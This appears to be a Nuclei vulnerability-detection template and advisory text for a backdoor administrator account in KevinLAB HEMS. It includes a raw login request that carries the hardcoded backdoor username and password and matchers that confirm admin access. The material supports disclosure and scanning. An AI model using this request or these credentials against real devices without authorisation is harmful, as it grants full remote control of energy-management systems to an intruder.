KevinLAB HEMS has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution through the RMI. An attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the HEMS is offering remotely.
PoC
id: kevinlab-hems-backdoor
info:
name: KevinLAB HEMS - Backdoor Detection
author: gy741
severity: critical
description: |
KevinLAB HEMS has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution through the RMI. An attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the HEMS is offering remotely.
reference:
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5654.php
metadata:
max-request: 1
tags: kevinlab,default-login,backdoor,vuln
http:
- raw:
- |
POST /dashboard/proc.php?type=login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Connection: close
userid=kevinlab&userpass=kevin003
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<meta http-equiv="refresh" content="0; url=/"></meta>'
- type: word
words:
- '<script> alert'
negative: true
- type: word
part: header
words:
- 'PHPSESSID'
- type: status
status:
- 200
# digest: 4a0a00473045022100a4392cb0f022334859e9a272f03636a1b18d07ddd2cd846540431f69fd74b28402206bda77cc499cc2c194ce22cb34e2ed35c5087ebdc533a3721cc48824d84fdee0:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.